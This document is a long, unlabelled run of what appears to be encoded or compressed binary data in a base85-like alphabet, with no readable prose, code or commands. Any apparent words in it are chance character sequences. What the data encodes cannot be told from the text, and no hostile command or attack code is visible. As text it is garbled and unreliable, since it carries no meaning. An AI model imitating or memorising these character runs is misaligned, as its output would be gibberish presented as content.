zVgZiYk#I20#(*K$-A$JY!xcCdDSq=iAd<^I?yk#uig&mkn8RP@^x`sEwmfa$2|BtMCp+0?lad@!keu5 zxrf9p>yYd2i?0dNA=llkkn8Si-$XRv}m(pl>PddLYYRVKX zBt&_Bl{$~tE27~a!CIuKdWH?jWk_g>kn7#?Uk~WfWDyG>1s0B4G~6E`8m>9b@!utC6Dp0XNk1M#A~oocRwa6ah!N{K(5N0 zkn8S6itE0FTz4;52c+O39E((AoJZ-cq)-`{* zgW?`0b`9Kev3sN9c^X5myEn;{?@~MwmJ43)-O8A|gj{zw8K^_9yZ0EVL$14<4b&mm-7N;{kn8Tf2I`RO z?p6bJ$aVKVsZ@tte+0TT3%lPap0WSuL$33*IURDHcWACgf(&BFN^+jw7Qh^mhiYM- zHDyAsKZMbhkn8Tlaw?c#iBWM6ggygTH2f8gMd~LUWslmzYBY5;PW9^aY1RZfpIBqz zm@^VjOEms+1k9^(0a8MZk4Flw+D7&ba_drE0_`6ia-7bTyKy(RLphl|kV| z+u=YpI?qWwN;FENWa1WCq6Fn(qwB{^M6i}rx8a2RYO<8bkC)Ay@8fqrh z(u34vGUlo}jU@Cao;3|GW}dFggo_uRIK@(DXsh5H+D5K{D6GyTnR5kdaManYn?laZ zOg@Js+w(E&US{N=M<%?N#AvHUnB#WMnzEu~T4}=RoZenZ^ z;Du{7EVhyzK`~PX`*$nJ8ky^3)^tk-+bw3I{2#j`rR86#)MQ&$OVtB6b?0qsxS5rgx^Mb(xy(9YaAELqQi!Xp&_8en`%HRf*BWoI< z>9Op7O(W#@Uv8Jt-`)G038GCubujjh7ye(Qa_EI<6o6#R_c2Mz~WPVyLmvR8?u(q8}txPNIFm0!`Xcr2z8(Ygr zg*AOQhajTqQB*G~bldr-TgnN)jb*v*^o97iR9up+j(IfDO5FrLBlza?QKwNa+u{e# z_@Wf@Sl{5@Hs6#5VvQ4s(0dx42UL!hnfnKLL>7(nLAbMc=SuNEc*wZ3IOs}gqP;rV zg&uYW>fO^7dUUsQQEf#dIG2jLJUBf329}ENcsPJV*B`-I*#;R`qTb3%5ciSj58^!% zH6UVrY^d3#ANZF-cyT3!_q5N3@Tx12hKj2$l>biEnesnewNUFQ|4pN)d)Te+(YK+Xqix6f8bd(nlXYm5KpF2j1~TmfP2ao zMB|nNkUy7(rSYl6;jI^Xv!Q6LYVhpd~;(nozRF8-cA}?~{E%M6E&<_v7~tQhRfG+72-3 z6+DxU=g5z1i#NY+L*jaX>c>I638L}^5YZtZ-U88)#K#~;lQ;-sDT!Y|+yuhv_&i%( zro9RUkJ^Q|bCI(S!lhAV+QAHk(&DC@i_4e@Z1v^}GzJB#UPW&p#oxoWBW5BE7w{!g=d)6MjSkYTT*dEo5a4ual8;(aX74}|`m#CIV2 z42K{Kjst=!i}8OE5-Q6;tOn6H2?CmNof`vTm+g)^n~}bd0&hg(=K$6GrnEZ(#PcA! zfvDUEVhV_UyFs8^X46=_sJN+BkTLb`sB-JF!s;mZ zZqtaTEy5P2n-n?~xJOBM@OPI=ZXte%{y^i;h>xyH&9 z01EUM1^OYe#}Vw30aD=^!1(KMs(5m&rC)V0OGTyZwOY$NACuJ$_dA*vR|Q&JC3_FHxGKTm|T^A!lcCoTMy zfbdtsvgx9QydoFoM7U2vx*>(qEfH2tq8=@*?YuOD)!{={xeHY`Dfip6D^TUGuxuY$ zs?=SmQtxCFQFa?GB_UIm)}g7k@|~|l zRMePqB9nQN*yeuvgG3blWNG^_bVDs%RDp*uLg42#)uuB|SJPI9F>HJeH0j#e*CZ#c zNlsc5O=(SX!~?XYCOP7Lv?e(LO$;rXn4-|cP|!qES`$rM9kx=fI5c@Ytw}tsNj$BI zrnDwHUo?qFc~-48i3c<>v}j_ALK8zl6HRGNG;Q_fW_>;ukZ-=n+6u?kxf>RvbCB5e z2&_SufEZ6=Er=x`s@8+xGI_iF4-edm|NS1r!Ro>l_bQ0mPv3i|eRLN{;%a&&1#o%2 zg9I1cM@euAevJed<O52a^1zkN4=hbuvT>3*V)yq?^kkDfd)r{ph`VSP|4#- zQ0-+Px=uo&N@{i!P$jkNFb-cl<23vFov5>pGC#75DxlyaNE?aFuKQSq-_f`VsFLsM zd`jX25M9TEH~`{u5{E(jPU3eEOOFDP1H-LiQ-u{wxwS?D9 z9t}lHKnx^N2gC{x6%i2CKcmc3KwZb6P-Quieg~@T3F78sKnwxVV*-dHKpY@(Jc#mR zLCgm69EnpvOg;|8c_4lwaVdzIczv$&DiHUPxDiD2KY+L!#558Qfml!CNf4ic81xc| zyab3o7~|t)dc#>LMIk9uMueQ2V2R&H}2O z1mZpt!$G_Tq6^QPhkgP(p_nb9kdE4WCe6xe%KCpYkoU4antWO0)*Nv1k9_R^{n+(F83SusZlSrHj;#m^s zfvB1W;!+S>NL&r#Ac>nm)SE75!iBUq>e|D)_S)-M*H=gzjqI*YchvPG&^17nVU*fW zA_ZdN3=s7}JV>G$h~g7LbOf;!1X{ssAC>#?;v0mh!}ba2?CMr%<~_)+ZUo{R62Fsc zChA(sx_Tq|9H7eKAl8%U4B`-oE_9g(A#NMRofDdl*-||LX%({|Wi*I!BnE(345I5E zikk}b7*OTOAbucmI*6j#AT9(klEf7tP9?D(#4RLl2eFI9RuF#!fyQv@SoI-Zd1dX3 zLm#vDSCH0l4k~>bL^+8+gBS#&YpWip{cWK0fhs=*@hFKyAU-1TD~RM=5Du#7Pa+@0 z6cUXR|YBZ!id*o~}tG|&{F%Hu$+ zATa~Pqa+rB_?*PqAR5jCaS4dwB-VmBg~WOgSA*bRH*V^yzlP6Z-Ot$7UFjo`S=}1M zK@yEYv_2U=!~;?7;4mJj>lSL#2k3mD%Hbed%?B|a#ET>*fmpKu#9R=ENbu85y%vHv zAH*djR)M&a#I+zgE&_22hzm$;2Jt0{he5Pi4B}}J(@5+Bu?@tacR@5b2p{q>h*u8L zhv2W{1KjY>&{sgLAEHj~Pf@322~J2bxN=%IL#}}Qh9q7AnITs|8l9rgUo`3k#Pb)8 z%=wEC!ae4XMh!Ei+(dBp$jji)CT8d!azAtr}iIxDblzrwg|V#O6lBR{^aKzjEz=Qz`X1+AG(|-c&D_f`rhw1h%Qa=6ggBpsJWaMa zn|r8z!rbOCWqhdVx7Z7swmL+pb=X$w4A_-u9Zp|$i%3^c>!_wsO-xg$#Suzt9hWQK zt-qwO99y)ujt8C4w6rFvX=zQa&~2xpYf>Vn?NrpFNvq=;DqE)HMA(H9)wg5Lx9H;~ zz5VM0(y=R-YC~!!&Dul+A^L%qmw;$U`f(N*623gAS_4EMrC_XY!Ae=PZW&?oQXnW+8R$IUd+MP_yS<73uj&bUl6r}4raAF zz89RxB}ls;xz%TbNS*~^A&6-pDrSPHJ|2hLnLG|etFu822eE)e9}o|N=voSGDz5?x zodch6BZxv0cY`>B#6uu1B=IDOTS&YN;&T%3fXH7)2iS#k(!^!j&8Ug zva3geIE_SK5ciU(0PzJ0t^iHW1ENwLJpFP`|L* z-VS}iiaE!tnA3A1Zp?`}od~v`IL)|7(0N3-@p!SI8-Uuvv@TIJZFH#PPxkJ0oGp`hmXH$&s*P{W#xhw?@oO9^mVIzHQZrwF#U;D1P*Z zW1;aCgyKd8-Un!nQmZ%vl6nHqhfdewXD<$42erznR#N6K-8=NsPu$_1|8gjnCvCyy zZBE{l0ZCrPat&}He+j#%NXy>{*?b=#@_+H=7X{_(C-97X{rH`cUq2|nBrRV)WR}1< z$ZglKHF_)NR-I{uNXcUrqo2lvt~0NNkA=U7&!1zB?v7EZvvV->+u|_#Idn&zT}P#H zN8-0;q;U_*-+PLW$2`jB4dk8vXtKhBF(-Lf{RZTlrvS!0$#FmO9;8G<8}ShXyrPL~ zkBa5wJDJfWidp-{v}ejZ4pcN5mXwmwNI6-jU{eX6Hgr!5e(pA1P*ohEwO0!7agL*)z#8< z;~aiVEIPu#V;p`-J5~g*0(uqKP)yhha1r>vB_;M?cLH^`dk%~vQ z<1>aJD{&UnW|E|YYgy6kqXpH`^5$!KYi%nz7$un}@?4Ei^zrYOy?-i7FQ|)@)G_f> zHp6EoZaxA@=6NJ5ap)+ZGxUgu6A#V=I@64Q;u;X~vouO3mSHgBXKREn5F8J*T%-I1 zKcO2xU!&qgiZWMDglc#oEz$V|pvyEWO3@f$T~yF@pR z*G(FAO6+3|x3S@NSw-S`)_#{RSDlznt?$;TXQBv}7T=^%-$WS);2w?m`#k$DdyZS{^!!zfb{^R@0VEdy&=wMG~j8yIztBQRXCuQstL5 zO3EXi@mDAUuVg}S50t4Jj_--Vb9h%x#U%1B9FH~2TaVgpPoZBz-lLcfVee?D7V)kb z1AV*?ag2E{g2(a3u>!9NO67PJ;7NFABRA>&20GWf0QQjQ?Ez=Xvd13{*1xSs?Wpr` zd)9daN?TqM4N%@CP#kYEZDJq%#8-Ip!||{hN49T7wFxjvnm+} zuG58MV0Li$9!uXF7kQWc?(Rc&uocJs3-%Q!3(p zL+mr>d=5wdP(Lhc=uYQHwrik)VTa$ki4P9VkX*;HIN^tdRtQWwkJC4d3_UE+bq26q zM})o*nD59(ijN8D4lH(-Vi4mKLS8*q)WEry%*Tg%2`qKWSkcsw?%rn3yX@_0rfe%` z0S9VMNcTxQr;uGV&%jQw^UWBr*a@)F{CGUXv3Krc$K)6RmQ%t3NtzO2=QaA_Tmv0v z0J|;EbX(HNWh+w#avEI-i3KiQZ4>o3(9!TD^kYFIc5hP^;vOa($FXQ2rqbOCUo?Fb zE3vlJ*4dWYI@?lPXIpCPY)fsOZK?WN11;!&4>h+_pX6%`no6VZqKuPv9%f%w7+C5& zM&H|2pPH04bM7E>rJ_sV+ts5moAII410t%O(~fN)pgM{5RXE(`r(w0Tm)0@JNbc$U z&R!jCU|**LfTKN0@p?I`?rA9;f~$^^S4g;1C?Geh@g$nMgCA zfJXzUbiC!GoHf+{Y{UPRa(Z%% z&NK4x?(5gY%N17yyyc^uv&R9SZ}4H|d_a9KHu!tUWA|O6xL?6rV9NQ3Zg7RcKP#t_ z`dw<||Eipg?EN(|uJ9YS^DyuA@%08@YCGrAh;B4^mF--_ z{?U)@V|;999`*l|k-yG%WZm6j_^-E}&9sesRke)AM%$Un{<>@cAL9*DT=Y)G2~53OUQ! zH_xl{1Ya6*WU+riT_$){$a#gf`J%d3@Y;~Gk@8Gjc1;?UR@DQJ<_*-fPW~26E zd$PUQo@_6+C)Q0>!5hCeKM+CAjFG(Xke-K zCLc*Z<8xQqn|z%1Vq0m!2Mjb`>?`BNI%zNF!wP3Vr{~wk<>9Uft?7_avahpZG~nM1 z9H{5&w=!4lvZ2l?G|lf!?nvi0TK-`J$2dPyjUNmg=S=1*_LFRJ?6PB=%h~lmo7{=c z9FFWSrbUyS9W?U4o7`#6ZqC`?44mnF!cqF&z`4#`HX&wfk3ZkpFdon`aIq7mO~lP6 zVX1QibroO@OrkyCe#9l5Iei6I@y=QX~j(7f)GlR`&WB6Ao z=X92DYx3cJx3GM<$zP|O>D(oBHu={pXDPiy5Bq2gJKhOZ+Vu~%>H0%u@Ydq&huL)Y zp)z=D@%FY$1_4tFq@RqWA9B(kZop|d>b|;JV!Fx5O2bgZ;!F!2!KGD|R8Qx30^Gt(p zw6%AhW$;b5_Rh0y?VWG2wRfIl@U6D9o*rYak$=1G+)P6`$&|m_)~nCSCLi9hG5dRo z&9evepYhgboBo1#6mNZw!H*bkeV)PFjkjKI@DAgxFEZn|({?7)$XDAu`NryKy!Sf8 zzsq>|yG2+*S#C!Yj`jB{U zA8rJM_x2&Yop|p%OyS!@+I!z=Ywvw`NPBPnZ3eu5ifiYb&sz=u{UPnmAF`*4t!^{k ze4Bl;;75%2{N(2HWjd1n&(w{b?Id*zXG77qVh2V2t_kf)KZc&Qq+t zFr?21EoT-dUQwty440=$qv$m1g-$6VbR67ZfEx&1DlqBn9tT)ra=8iSVqk7A;7hR) zoCEUonzJ-lrh=6$0?nVnxT+Ke7v}+YR+5^6pe_J;JS$Fe%5s=}0qA_|7$3*2;s`to zo|$J-ad@iG(@3vFLy$h7blanZK9h6;{ub#MkzNcd1-+K^GjM>QHA6|aZPewp<`g2nGx3=aPO+chpMK3R)oj8qzH>zM%g^x-ZNW^u46p!<~bEl=Na< z*K?!~>rQ?HbiFb05AEMU)SqR=KhhMoR3FxhkgJlZNzJOym6S=ssJP_vR6CH*6}|xv zU>YJ!+W~k2{!f_Z3eykJkEi7UCa#AfDRY3#)xw^_k*Dqduk71}oqF;-UbC~VjLZhC z2Z9d@Cza(XzUE{#|B3Ej#e_?GpJF_6y+Y7=UR?}b%4-Nt*PDou ztK(UiO?ABwF|9qXH_GOFr%uJNdf!gRw%1#W+#;_Lq!oKjz+cZh1ou+k`x!Dzyqmz; zz&jRNHS`>4*vMOT6kc=nMj)lst3hrP?={T0rd|ukDf8+=elzby=+NBT44xL=a!70G zy^EAq-s4DV?QH>18}A;-Y3p?uk1zUr-{RQbTY*{G!P|&>J9-y^zmu0jdb!sCZSU-z z1UX&28&I~wdma7O)oY6uReCM3W32N20?umhG_<;#HyC<$_wcbhtB1#6;yt|y;Oylk zCgHBOw+rcgyvFbt+b!=tus&gVPoR&Vw7i?Z@Ra5KhProH-VpqI+VYM?UC&tFtKfXr z@>)R0ot8HZYCLCop94K_d9Bb5FIZlC6nN3{wgbInc_(8uUbeiP33%?u^4^DjyDaZK zRQ{^vy@`H!&GHn~dfoCa!N1*>_Y{(BCZYT5x`YwxeO+THfu@^E=BMgK~#0Zz**79`&J_KUm(& z(E3NqD+cFJmNybg{A_up7>8dhuNs>DYI%Fn=)YTDK8pWld4Gl0zhl0~Zp+D_yo zUxRepI|JPm^15Se!(LBxM8rFYu8Ml2(Qh&D4Wu|;M@+@IcQpDu$7<~4+Uh#UDxA0E zBr7*&&Y~=52^x``FfeQtOoZUvq++!NeAPU+u6W_nS*W&Dsb23Rqt5&#c$}gSuZ^-Z zX2DKXU-l9&E?IU6_NV%P0mf+fJ{;?Y)%b8DG~fdahw|RT5kXn*gN~ns)zNd1li0@f zbpkI5Qs4pft~!>d)}gYyLy4czGIgA6r^;5v5?2yVzJfbmz0rKxH?5}MwPZdHrP+f-hx5z;DCO(D!SAGuMx!P)GD z6BZ%m8gPP~2eLT}&Ebgm<~rNlYH}-^pugv+@){#oTJaJu6EvN`nqOu`Eqb7&+C{SE zZ=fy{2x+UvExv*wG<7>MbS1=K)*W2H#rS8$EVu0NzOrW{XhpCr@ZML(sxWl zY84e>Y>80K)zo+jY7f;&i+7|*vK>}?^(p)G8>I#TDXSDJysT5m+Ikj@3b{gGLi$^w zwQ7f@P@C_Vepsi!8K7ThAM5lE(%_J7b$pPCHHx?Uzr^n?Ji*cum39&{sNu#3JD z++nMylD(%asuXpdJdsXz*HAMJezW6n(w(ZUpe=k zYKbjEOTpJ0zm5=k2brbgm)P9=h*0iI)fu+x3#PGJ=)N@H89razg=weP2U;Md#F{`{j+_$>GR=2_6=7X;$5_67&E|p-ecozMQOwt>WhRMXK z(y=2|8i*GjW6mk~J%+4>V9|Xy(DYr`)7i?woU8{}w!9nXsw+TT1EQK-$ARMv{M2Gee-i24{Iu>Y zg1;Whfk#wZlsuS#FPJ-5X}LXBKX$-_+VnRfv1csiya5^0o1(Y=$Omp76qPX;y`(?3 ziI#x9W&F3vxaR&5Z%xY3ZId}O2-xbWy0gun=r;F-;5GRD5m{>?ythdEOr#wodmm1f zjo_H##GGaq;R&lU^uf(YL}h(9%l~lSzsP^5-?R8X5lsDG2hsln9=^n3zz;YahLC}j zRu7UW4O7Q2m=5r|BTdHVN&Rkf~=7M5A|ms(iXQ z$Ci0GABivFw-(CXiWYR1d8{8BMMFBvRQ6%Gw>Xy^o6~*|N(`16T3|1y=q80HK<=g5 zEggicrqbn?^7f7PXe-5$$SaGQJc@HrNbTn?Cj&H`$@KcRh}s3&r{~6;l8bHYM7W;{ z8Rq&n=fHTRb>2Ton3;#kq#IBoR~YaJS%tj$r{THemInFRZiRSS4L2dX;&#?tVxI(I zZxb`Fj%r{p0*+h)Ebgp?6_Y*&jwG;V# zs3Nq&HWphZGdOLrWi~z5S;*EFTPEJ%31Hp%f3SzdW6n^H-I$!1v#TdW4z{cI0Owzd z*~eGTN0N9F#Q7v10`UllVLyVm-^W1T0pSl{2a+Ru68FqO_f%uKO5u5N4$Lx)!uR;K zTWMPpTlf=hhKvMlMFwJqoiz|A`UBBf2EvC)Jq|u}JIm7Q!~D)N3?~{<#hqmoX38ko zs~dEdL6~VImv)vh@L@AO1U_t~J6%6Nz5t5%k~d^$iwWDS=c0)v^eOALQ?>G9&XM@7 z0_O@eQBV7gG9*7D4eXcGOWdt{WD;0!c4JPH%WUiNmcDJ?Ej@A^(sVmErMpDhvB}i! zRLET0WPb#?XOLTLQ)7Fzt8MKb$-WNRx+VH6rhfs}4sL67R0bg%&!4@42XX{)#F@f zU)O!G1?~S5zXQm1TKQJ-dfF;vD0gRf!EV0`^laTNZNzs9bPxE@?Ii>KrWt6C)nRu2 zURzb7qC=>(O`Vuiv)2V#xsb;ReUY3;sN3>sLDa%?|239+6?{!@lP|;`74Ou&ES`Twe1|vww=RbJ3o+J zZ0E4pPLDOds~Hly58XGE8{BK^#++repG2sNUnaW*OvBdEP<{b=5NJRY7PAd(VlaGW zN{tDL8?o@fCLh}T2wXGT_+v08M2Ai{A_g-iGh;(^NBp9OjKNrwo7DC*RzFIx z+SN|Rhxyu^jxf2!+R6CP41fZRCK^3!4PQA0L(^lVa83Fo<_v$5E`Rdbk}x-|4Cm4szgWl`u?XL>n0B);EhE!% zkR$ncZ{8hu!A&SNl8^W1-Kl|fSp>sp6`}>^5#FlV$OZdGSi%J*G3S}P!JwugRjpJC z=b%>Tx%LDk!;4SGH)}{m@MgUsF~PYi#dJt#C&7#xmAZgMf8(b2Mj=mN`b{j00xMWR zIafq6OdpYFvr-SH3v8BZrN9=J#WM;lT!Z(8>M5KRH`j<DD)GV=Sh1HlAJH(cNy|ck_*TihTm97 z?W|n(#v)L8JTzv<6cyo;oO+SW!xek_FU1%tJPHXHVz~_5p@y@en0D^;X&BKFl!RSW z9Z0PqeLI-z;3;kae<8rD0RkFc32>4DPZ1z;rsU*Yg$SkxSm`L%6I%V%+1~uAc-g|h zTh8(3fOoVsb@f+g=9i)(3z}VwA8zEg2W$u#g??I5HByEnrFaww$UCdv1Q107a9D!m z{N^aX)EBU7^+w8lNU1jzg#6{w6mEoi(pyysbz7e!aK73OIUnPP^Oyt3 zE)jD$p9Am=1T+w%ypZryz`A0N0;8dQE#l4wt09#+1OZ+>5z;V(DdVC{Hqi{ql?HaN*o(y5FPbm8u z@iZj82{8rpK>P;6Dy5;5V+$Sk^}ETn14)JJ5QB9W((3I6D%y`jZzL6c2Vx%yoZ(w- zu0iJ|K@{vl@+=^1>aV~d4s{Pv;0*mqC{K6NZ=-vnAAe-5oTa4tCD(oAX>yxCV@r!LB*R^T#8C!Kn# zNo{uIn6A8TGejpZ%p_Ox)fxsChU8N+$yFBKms_HfsVvoikZN>?x>P4GG0E1TBt7!) zSTl@A{uUiVkGu*a`bwvmbLKr@(B3IDyA<G4X+$s=w{G7@$M{r6%hTqS}3Ncepp(c$|ifvVMkdu-x zXf#T_j|6wVrAkxGvg-KX=eryrq&9-Ht^{x`XF}cEITGb8QXmb;2I(w5fX2WN`io>d_IQ|dCSCmclK$uqF% zl)CJBb%a&)9_QrYI*NEBiXGD!TXpa)haDFn@Hz4pAnS7^6?=1qm#mGhgVSLsboG6m z<-p~@^&VjU_jN7?#`0FM7%SQjb;v!2xzDgIKh&Wj*j3h_1(kmi+1rp?|75_QMO2sT z5xVwKiu$DvwfKR!E(`xExbOzB&w}i~OX;qF4d#&jw>lSr9kLrfM()maS2l<_jpSpe z6?Ge4#93mk}Z$bW$O+>M#&$E+t;POJ=O!i!~z`zuL3SDMWN3^xLr04 zL)ED+hic{q@Ev5`<-&IbuvIz~jOEazK6UeYIQM0x~i z4t^y!Qqa`8{8aH=WZKSkB|}+N2UW-O>^d ziNr3Sv`Hv79Y0vlQ^;sO4rv(67L)XUtEGC9-P9o^ zmOCGu7vXm#gcriu6^gNSkjaQr_2k6ALyBFB9S)~w7nz=|U{{(_V-U*x4fgbrDMj5@ zLEKeZf!3-XGbZS|HX`v>KjUe3)d?xJ4kflA@j*Z1UTQa8XKY8}Gk(SnmYAb6b|LXi zKVu6^EYKPIkocL-XsPD2#4_z_4k58elbCZ38rlMmu^z)uB9lfyQ*8Nq_b`xNs2!`6yf{wf@<3w*x_=*@Wj);upq1$apR2VYc9YtUJil(-CqP!Yw~< z1RGJ$2Sgo9QEzKelOSfg78St_CN1jiY*BA#i+VdCsyRpXTPY-ogD;icYK#!|Ny> za3-=52U2x%+1(ccH64vo%kg^*rSL3>I!>}mZvi7F-El65xB|#(vJqUYgIu$OYnI`f zC0uLBg&A@ahwm({*DmniUlwy7Mc%bIF)xJ7v!pD{Mh5dN*KZ&P(??F>BJ5dwlq_6? zy^4?A!bRAl_z2IOR$A(8Bc-@-5q2a#YEZZc8xbFs7B1?RLCxBtAC^fm1*K1+()pfr z=5{FjdUNb+|72VH<4~IGK)y%o=B$=wAm1~yx=>bu0<GI(iW(@bn^()Ly^P(`M$1 z*Dn@H*Fm^={d!XLJwlx5)EBu6ZUusyED>}YQ0X?f!s$?^{#aMPlh8q}_+YCDX}0OlsW7(lcn*!-Vkz;#)Ol+bVD8pr3($xEnw5 z+P$ROmB?svCDPX6r@ik0@xB{b0)H)4Z;E+A_vSuu)wGE@+mZWej_J)8vU~Fd5lkzW z-h45;H($)|&6m=>$whOQ@Q%C#9mXZ~RT2E$ox1;C6S>ddjh4xB_mx1+Fy`mN?#OYnbH>pS*CQLz&9l}{;$G2Xp3q5 z*CM!Vt8V;3k-P1FzwzHmu6oFC{0{|eeA{i%tcoiCR6q^mxV5u78I3mG&~OWzcy7^* z_GqGX&&fr9LVFsXN$x)uz1k79bk+32-EBcjS1m6*Or9PryRv9L+OE58Mp65AprzYR zD4Ixq>9#Y9HiO5CvC+w!aVUopvi}WR4PK{|L8$>qiiGYxE#}0UfV5N{)jZEjgz`%A z>ZrQPg+I3otx#U~M32NU`1MdTE0O4pd~D7Q3EvY*Ar(tL|B)-^sZd@bfkF`l=;Ue% zkzrmn%rs86P#zg`eA(E%r^_T*CTYq*9?Rq^%q6DhHL-?y9Z^}T1qcg|Cn>2&3e_nJ z00g|u=m~i>lr458ORLG!N@`N@Xpi zM!*wVJhXG=xnc7|C%`-(tL2LLI_ zj_a7N$_Ua`b*i0A`Q@1^X;*!7nAkZ}kB#o_lF@;%B2#3TmnqaWC_a;1nc0ycxLPAf|878+^AQ#NN8>({A^q9m1SZJRJ z9y?>Hz9eut{Xb|fO7;(E1?B;!3Uofp4$QR6^nw%`6yQS5gFBd-`${gZF`#Co53MjN z45MmCsPR##22&ZH0EzFJFdLV8(~4zvMUAP$w0%?u%eO3F6MSkTlc@U;r({8CJ|{I=mvNJemCZxMaZ131$ zhp>+0%rHQ^K1mjs7))Si{=p<*WcnnT@NaKPH}FrrrEyZ?!Ag8b*C6OL=_ifXp?_@@ z^r4M|KD0E$2w$1)Lo>co++kU^>ujc7XLH|mwg|e;mcHw3Mc3IHtAg?NI9Gz6X?NT< zI0;LoLG+Pnhnejo)3%4%l<~kFGmZrh>|~~b_(n6a0uDLg8{ru*mk2?tyg7v>urr$dv7Asx+>O-q3UjMfJvLrhBkY zAP?gD0-AM%PVS$1M$-n$hrj`W>Hr639L1oFc0q?TI8Yw73<*?<@vtG zm_6Qi=J0}a+eZf#rVBeJSOF6zeR5z^2oe0cV<# zKn@OKJ=1$4qkd)({rr;5w7^sLnZdw)xAfv{91C1*P=016H_qtE`B<8fLf9lzC{v_q zMs4zx1#C~$ZYJi9oaVtC-07BdbbHG{C4ktt293Y9Z|rRXRt`ICt0!waX5-;iJrg=K z1j_7gItGfsk~14pambk_ln0ss4LbY2uS;;CGVB$BP6B(^K&4RZKeYih6&i=x&GdkQ z-Ggd#N(NA^p?M&G<3dcGY&c z|A0>%8{BVZ0TZ<(8Jp5t$^Pav?fX$Xwx~fkECaDk1@KoCSQ56YX^4^|4J#&w_A}hD znpH(7{O{SI{n!0W@Eq0+p2OD3cq-id@y}tspkK<*oW8=_q)%vRKSkNzsn|f68=Y0X z;7+W5aO+iKY6T-aN~RP%O7_;Pk-w{JoZfVaotCDdxPm5n57yM*gOvsMVECdOPUtaB zo717T$haEq{aR+`D11a_#IapVn^)T1;%n|=0OBgKX$v|OY}oV)*FG@KFmG{6tIyKJ zYnaJ{^iIAvDA%s0bFjM1+~Y|rZ4Om(k5XYwln@q+lT~ez{(``5nX%}s)6=YzQ`v^$ z?W1&!n3tIvdt^kgMxK%ewo<(Ut&_3n?fcWSRc(XE&gpl7adCfA<`10c*|=PSk?TL@m@4waDL6_%jo|Br`L6 zmeu!XSxNAWDljiureSb4|7TC6($iEdC37Mr!~WlW(aD%C+K5#=Xxe(BXJ2$m=leTo zSvopoPqvPk1+7!|yu+OJrx~YVaAh|>K~^ZN=z1>v$BRl*UtqR!s#OI{9a5{)O4eF8 zy9H(_`20&sT;?H#mz4ZP4X|f$cF}A1@+WNXOm(=J=3X_ST6PldXdInKDel32d^h^ zXMYv%;xF5{e4J@ZX7%ivQI6GO*Zz<8sJw6-n4{IE&1MF3-yX=#TBptR2XQaKnU48X zd!^3I7i!|q_VfhfC6oVO%%>Lrg_Sb6>eaqI6Wr2rwKScHwKBM+ZIr#(Hue|W%pO); zW#$HrERId}mbT2_(l!fjX`B07+7{f>w#@7S{Tb3KV^5ev8C%0;$IPH(mCV=~-fvG^ zs!SyR#t!F=al_clX3vhytnv4J{$7@tD?*pRG{Z_E>mhcn{v4|GXB93V>RK{)j5sGa z31pW0XR-nUmkzPo@#+%JTQhSpc!dsYoi9Y@0M#+)@z74+K*8Mb*SughU2K1UQRGb% z(+hf6IWW_Y|K4W)vu)=8+{u&P>iG9H^?^k-9GgDLkn z{X#*T^{?G?F@RV1FCv+>0Si%jZ9s0|$~~ERdT5lQy>|^5w0Ie8IQ2SLrFVI_I;{Ys%H}~%baWlrX3a}|D-EDVFLH=|GmuoU$D%iuO#|AG>kNM zXvW(L@ONkeGS@M(Hf8>DgT&04M_{K$L*-Iq_D_U?+rwNa{=xMOv%euT7a1R#MJ6Ds zf=0`F`4|efNw_tvSCLA8V}~mlIz<*3Od|h0O721UW%ad+wAaYm#bw&nE3>u+mq}cA z3@(Jh8^CBm@CGm-Cze^$*?QcO@K;`aaVT&nLLQ0v$DTp1Z)CQQS@$1;s^RgNbZw}7 zD4=O1J9k(BLYLv`wKeN1tbes5?F#(65!eT4SK!}`5Dp6dzx8fJi~qv;TjorR7cuJx z*VdB%Q_kOlS6y+JGTSnp z)|E~c9OAn|T;6;e}$UmPo29$LQ3Zl)N|Y5h5gVzqCdWXzG4&2!qo zoUDCLt7qOnyRe!m%j-|onK_3i&-BBd-Tj$ad+%=g!#E26TozC}5u*|=8yR)cQ+hfD zHXAx2YajnVX=(mvw&G^Yip{C>|FHKafKgTVzj*HbhT*V@Bw^E9*<65RCIJ^nW`awF z%#wf`nF+YCWF}!JnaKtuFq0tqsw9YYsm=tfRwV({w#rNpwYDUPZLKu{wRSO}RokZ% z#HHK+^F4QNW`f}Qd;LHAgv`C?oO`x=mhbuQH#W+=Rxn{H@d4qdsR>a$O-rmaz9fbx z)PX_}S@y0ZL`TN!(1!F|2=!?Q)fXuJUx(Zz&U;^B5(48`ChQdhN*+piB96kkG6 z($aw)FT)dIQ{VRE#Y_n+55*EmA*{Tt6R8_$%4%nPO!ULO(_xYXvy9lp-iTpNoCxZ> zq^Bid5Rz<40QdN{0U8)l`#LsWF?vvL$1kE7ckX{VDVn$}bqcfZ!i~c; zz~~dRYX(|?*4na+3-b~nHQ;n_u>^Rpv#TV$*O^r^qQhqy0XdpTC~B}7iy%?Z2v{0l zyuEGpp|n`>Cbn}JW6{O&jL#sNXtRI~po`<>o?~U31dLY~!N*GKB6yCXq*R;*_SoBr zJ}e%HAN6(2t-^{c5$!#ZWfj|V7zM8R^290=c~1#~$(TY;A~_3XI_)f*m2en=oXzVU zR;gG3WgKnGOPd9TPnyE7T}PcAIx?*jrQ9vN0~4iv&M=)U#q+NZ8NRp$=zm^i_Uk}~ zM6T5Ty-EgO=TJ-7YbS#a@jV6T5MM%l=u3I1@ev5cSzu|WTK{a#h~v#CbpOxW?-0#BeDzg_X)P&5u3k}b<5T9BY#qsa>N^H82gpOSR; zatU;Pip1QSW_>M#-&ig z(fA=i>+};1C!w}M`tnWq0Ep8k4C+yte)7elap8?T)Z;j_oM3jW?{Ti(^2*gpFe&+T5`yCU$y55W|3^4=XnDAWaa!@X6*# z=$Tv>IQf_tU67a_XT$Q_qErGKRs#k)D;Cc`A37k@XL>}4Vao7_5W|!8V~-yU;Jv5W zoek8~!3XKPad0m_E#G8F44=l3F+P1-jI9uh4(-h>k?+&{BHzRGCcy>L&D>ITGdK7` z;GPU;HspvzRC{E6UUV#T6lNxNN@yl&y%CtCo$Tn*&C=vVe}|{?ti*-<8HQ*H=-Zfh ztGu?x_MJ?apz#!s*Y?B&ec_$d;0&eD)3GC6h|^~u_c13)Txhyh5nhD*FgdXglH^N# z|M@&K2?s9oBa&Q?vV=v2nvKTdB(+gW9$(u;0Lu8^6l+slRb4fwoYAV7BDo*?c zm&fhELCP}ty<#A4Y+yc9$5<26hF4Vs_lB> zdCpFfdJ$%}DUH1`qZ9Z*Q`~`4s;>Q>mZ;C(*IiPqIF=e0AKBN2Y?Q7LKRQu+BY|j! zr!*bSftLXW?q|gjp%ZoS6CqMuA73Ix2{!3EiozD@y;#ZkzH3P5^1>=ze|g>FG&aF< 